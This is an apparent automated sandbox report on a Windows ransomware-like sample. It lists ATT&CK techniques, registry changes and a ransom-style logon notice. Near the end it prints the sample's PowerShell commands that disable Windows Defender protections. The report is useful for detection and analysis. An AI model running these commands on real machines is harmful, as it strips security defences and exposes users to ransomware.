2481bcb7380b038e84a6052a3cc42fab8e791cf1dffaefe783398a843af68c22

Analysis

max time kernel
150s
max time network
62s
platform
windows10_x64
resource
win10v20210408
submitted
28-05-2021 09:57

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
Size

346KB
MD5

aff561dee3b750728a4f2f8681cc252c
SHA1

f3a3ee6042c819ae00d028437c5f02ebefe0eb08
SHA256

0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454
SHA512

6b73be255c3616dedb8c5c37254729526412967e886f3aa27038dfadb268efeb048ef3099575e4214b797c6fd555e2bcddb5f6c7b890903d0c6ca3b5b948d847

Score

10^/10

discovery evasion persistence trojan

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089
Disables Task Manager via registry modification
evasion
Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031
Modifies file permissions 1 TTPs 8 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

icacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exe

pid process

4156 icacls.exe
5484 icacls.exe
3172 icacls.exe
5068 icacls.exe
2096 icacls.exe
5640 icacls.exe
5224 icacls.exe
5312 icacls.exe

pid	process
4156	icacls.exe
5484	icacls.exe
3172	icacls.exe
5068	icacls.exe
2096	icacls.exe
5640	icacls.exe
5224	icacls.exe
5312	icacls.exe

Modifies WinLogon 2 TTPs 2 IoCs

persistence

Winlogon Helper DLL

T1004

Modify Registry

T1112

Processes:

0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeCaption = "Здравствуйте."	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText = "Случилась неприятность?\r\n\r\nНаши IT специалисты помогут Вам решить проблему.\r\n\r\nНапишите на email - [email protected]\r\n\r\n(c)IML Быстро. Качественно. Надежно."	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Kills process with taskkill 58 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	process
5988	taskkill.exe
1228	taskkill.exe
6088	taskkill.exe
4484	taskkill.exe
4692	taskkill.exe
5676	taskkill.exe
4236	taskkill.exe
5560	taskkill.exe
5628	taskkill.exe
4688	taskkill.exe
4728	taskkill.exe
4180	taskkill.exe
5188	taskkill.exe
5632	taskkill.exe
5432	taskkill.exe
5900	taskkill.exe
4532	taskkill.exe
5060	taskkill.exe
5864	taskkill.exe
5188	taskkill.exe
5156	taskkill.exe
5720	taskkill.exe
4552	taskkill.exe
5556	taskkill.exe
5200	taskkill.exe
4136	taskkill.exe
4316	taskkill.exe
5800	taskkill.exe
5368	taskkill.exe
6008	taskkill.exe
6072	taskkill.exe
5128	taskkill.exe
5356	taskkill.exe
3980	taskkill.exe
4916	taskkill.exe
2180	taskkill.exe
4416	taskkill.exe
5860	taskkill.exe
4788	taskkill.exe
1484	taskkill.exe
2988	taskkill.exe
3196	taskkill.exe
5284	taskkill.exe
5804	taskkill.exe
5928	taskkill.exe
5936	taskkill.exe
6052	taskkill.exe
3576	taskkill.exe
5084	taskkill.exe
4988	taskkill.exe
4788	taskkill.exe
5812	taskkill.exe
6124	taskkill.exe
504	taskkill.exe
5264	taskkill.exe
5564	taskkill.exe
5304	taskkill.exe
4888	taskkill.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

2324 reg.exe
Runs ping.exe 1 TTPs 3 IoCs

Remote System Discovery
T1018

Processes:

PING.EXEPING.EXEPING.EXE

pid process

2376 PING.EXE
3288 PING.EXE
5300 PING.EXE

pid	process
2324	reg.exe

pid	process
2376	PING.EXE
3288	PING.EXE
5300	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe

pid	process
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exetaskkill.exe

description	pid	process
Token: SeDebugPrivilege	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
Token: SeDebugPrivilege	1228	powershell.exe
Token: SeDebugPrivilege	1588	powershell.exe
Token: SeIncreaseQuotaPrivilege	1588	powershell.exe
Token: SeSecurityPrivilege	1588	powershell.exe
Token: SeTakeOwnershipPrivilege	1588	powershell.exe
Token: SeLoadDriverPrivilege	1588	powershell.exe
Token: SeSystemProfilePrivilege	1588	powershell.exe
Token: SeSystemtimePrivilege	1588	powershell.exe
Token: SeProfSingleProcessPrivilege	1588	powershell.exe
Token: SeIncBasePriorityPrivilege	1588	powershell.exe
Token: SeCreatePagefilePrivilege	1588	powershell.exe
Token: SeBackupPrivilege	1588	powershell.exe
Token: SeRestorePrivilege	1588	powershell.exe
Token: SeShutdownPrivilege	1588	powershell.exe
Token: SeDebugPrivilege	1588	powershell.exe
Token: SeSystemEnvironmentPrivilege	1588	powershell.exe
Token: SeRemoteShutdownPrivilege	1588	powershell.exe
Token: SeUndockPrivilege	1588	powershell.exe
Token: SeManageVolumePrivilege	1588	powershell.exe
Token: 33	1588	powershell.exe
Token: 34	1588	powershell.exe
Token: 35	1588	powershell.exe
Token: 36	1588	powershell.exe
Token: SeDebugPrivilege	3392	powershell.exe
Token: SeDebugPrivilege	2136	powershell.exe
Token: SeDebugPrivilege	2784	powershell.exe
Token: SeDebugPrivilege	4100	powershell.exe
Token: SeDebugPrivilege	4292	powershell.exe
Token: SeDebugPrivilege	4464	powershell.exe
Token: SeDebugPrivilege	4400	powershell.exe
Token: SeDebugPrivilege	4548	powershell.exe
Token: SeDebugPrivilege	4608	powershell.exe
Token: SeDebugPrivilege	5100	powershell.exe
Token: SeDebugPrivilege	3712	powershell.exe
Token: SeDebugPrivilege	4620	powershell.exe
Token: SeDebugPrivilege	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
Token: SeDebugPrivilege	1484	taskkill.exe
Token: SeIncreaseQuotaPrivilege	3392	powershell.exe
Token: SeSecurityPrivilege	3392	powershell.exe
Token: SeTakeOwnershipPrivilege	3392	powershell.exe
Token: SeLoadDriverPrivilege	3392	powershell.exe
Token: SeSystemProfilePrivilege	3392	powershell.exe
Token: SeSystemtimePrivilege	3392	powershell.exe
Token: SeProfSingleProcessPrivilege	3392	powershell.exe
Token: SeIncBasePriorityPrivilege	3392	powershell.exe
Token: SeCreatePagefilePrivilege	3392	powershell.exe
Token: SeBackupPrivilege	3392	powershell.exe
Token: SeRestorePrivilege	3392	powershell.exe
Token: SeShutdownPrivilege	3392	powershell.exe
Token: SeDebugPrivilege	3392	powershell.exe
Token: SeSystemEnvironmentPrivilege	3392	powershell.exe
Token: SeRemoteShutdownPrivilege	3392	powershell.exe
Token: SeUndockPrivilege	3392	powershell.exe
Token: SeManageVolumePrivilege	3392	powershell.exe
Token: 33	3392	powershell.exe
Token: 34	3392	powershell.exe
Token: 35	3392	powershell.exe
Token: 36	3392	powershell.exe
Token: SeIncreaseQuotaPrivilege	2136	powershell.exe
Token: SeSecurityPrivilege	2136	powershell.exe
Token: SeTakeOwnershipPrivilege	2136	powershell.exe
Token: SeLoadDriverPrivilege	2136	powershell.exe
Token: SeSystemProfilePrivilege	2136	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe

description	pid	process	target process
PID 4024 wrote to memory of 1228	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	powershell.exe
PID 4024 wrote to memory of 1228	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	powershell.exe
PID 4024 wrote to memory of 1588	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	powershell.exe
PID 4024 wrote to memory of 1588	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	powershell.exe
PID 4024 wrote to memory of 3392	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	powershell.exe
PID 4024 wrote to memory of 3392	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	powershell.exe
PID 4024 wrote to memory of 2136	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	powershell.exe
PID 4024 wrote to memory of 2136	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	powershell.exe
PID 4024 wrote to memory of 2784	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	powershell.exe
PID 4024 wrote to memory of 2784	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	powershell.exe
PID 4024 wrote to memory of 4100	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	powershell.exe
PID 4024 wrote to memory of 4100	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	powershell.exe
PID 4024 wrote to memory of 4292	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	powershell.exe
PID 4024 wrote to memory of 4292	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	powershell.exe
PID 4024 wrote to memory of 4400	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	powershell.exe
PID 4024 wrote to memory of 4400	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	powershell.exe
PID 4024 wrote to memory of 4464	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	powershell.exe
PID 4024 wrote to memory of 4464	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	powershell.exe
PID 4024 wrote to memory of 4548	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	powershell.exe
PID 4024 wrote to memory of 4548	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	powershell.exe
PID 4024 wrote to memory of 4608	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	powershell.exe
PID 4024 wrote to memory of 4608	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	powershell.exe
PID 4024 wrote to memory of 5100	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	powershell.exe
PID 4024 wrote to memory of 5100	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	powershell.exe
PID 4024 wrote to memory of 3712	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	powershell.exe
PID 4024 wrote to memory of 3712	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	powershell.exe
PID 4024 wrote to memory of 4620	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	powershell.exe
PID 4024 wrote to memory of 4620	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	powershell.exe
PID 4024 wrote to memory of 1484	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	taskkill.exe
PID 4024 wrote to memory of 1484	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	taskkill.exe
PID 4024 wrote to memory of 4892	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	reg.exe
PID 4024 wrote to memory of 4892	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	reg.exe
PID 4024 wrote to memory of 2324	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	reg.exe
PID 4024 wrote to memory of 2324	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	reg.exe
PID 4024 wrote to memory of 3376	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	sc.exe
PID 4024 wrote to memory of 3376	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	sc.exe
PID 4024 wrote to memory of 2296	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	sc.exe
PID 4024 wrote to memory of 2296	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	sc.exe
PID 4024 wrote to memory of 3424	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	netsh.exe
PID 4024 wrote to memory of 3424	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	netsh.exe
PID 4024 wrote to memory of 3836	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	Conhost.exe
PID 4024 wrote to memory of 3836	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	Conhost.exe
PID 4024 wrote to memory of 5036	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	sc.exe
PID 4024 wrote to memory of 5036	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	sc.exe
PID 4024 wrote to memory of 3680	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	sc.exe
PID 4024 wrote to memory of 3680	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	sc.exe
PID 4024 wrote to memory of 3532	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	sc.exe
PID 4024 wrote to memory of 3532	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	sc.exe
PID 4024 wrote to memory of 2280	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	sc.exe
PID 4024 wrote to memory of 2280	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	sc.exe
PID 4024 wrote to memory of 3496	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	sc.exe
PID 4024 wrote to memory of 3496	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	sc.exe
PID 4024 wrote to memory of 3376	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	sc.exe
PID 4024 wrote to memory of 3376	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	sc.exe
PID 4024 wrote to memory of 5060	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	taskkill.exe
PID 4024 wrote to memory of 5060	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	taskkill.exe
PID 4024 wrote to memory of 4788	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	taskkill.exe
PID 4024 wrote to memory of 4788	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	taskkill.exe
PID 4024 wrote to memory of 2988	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	taskkill.exe
PID 4024 wrote to memory of 2988	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	taskkill.exe
PID 4024 wrote to memory of 5188	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	taskkill.exe
PID 4024 wrote to memory of 5188	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	taskkill.exe
PID 4024 wrote to memory of 5284	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	Conhost.exe
PID 4024 wrote to memory of 5284	4024	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe	Conhost.exe

System policy modification 1 TTPs 4 IoCs

evasion

Modify Registry

T1112

Processes:

0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticecaption = "Здравствуйте."	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticetext = "Случилась неприятность?\r\n\r\nНаши IT специалисты помогут Вам решить проблему.\r\n\r\nНапишите на email - [email protected]\r\n\r\n(c)IML Быстро. Качественно. Надежно."	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy = "1"	0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe

C:\Users\Admin\AppData\Local\Temp\0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe
"C:\Users\Admin\AppData\Local\Temp\0033c6e1db4b59f95b5261ecef244981e068c765f32616b26e23eddf99986454.bin.sample.exe"
1⤵
- Modifies WinLogon
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4024
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -EnableControlledFolderAccess Disabled
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1228
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" Get-MpPreference -verbose
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1588
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableArchiveScanning $true
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3392
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableBlockAtFirstSeen $true
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2136
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableIOAVProtection $true
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2784
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisablePrivacyMode $true
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4100
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableScriptScanning $true
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4292
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -HighThreatDefaultAction 6 -Force
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4400
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -LowThreatDefaultAction 6
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4464
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting 0
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4548
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ModerateThreatDefaultAction 6
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4608
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SevereThreatDefaultAction 6
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5100
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true
  2⤵
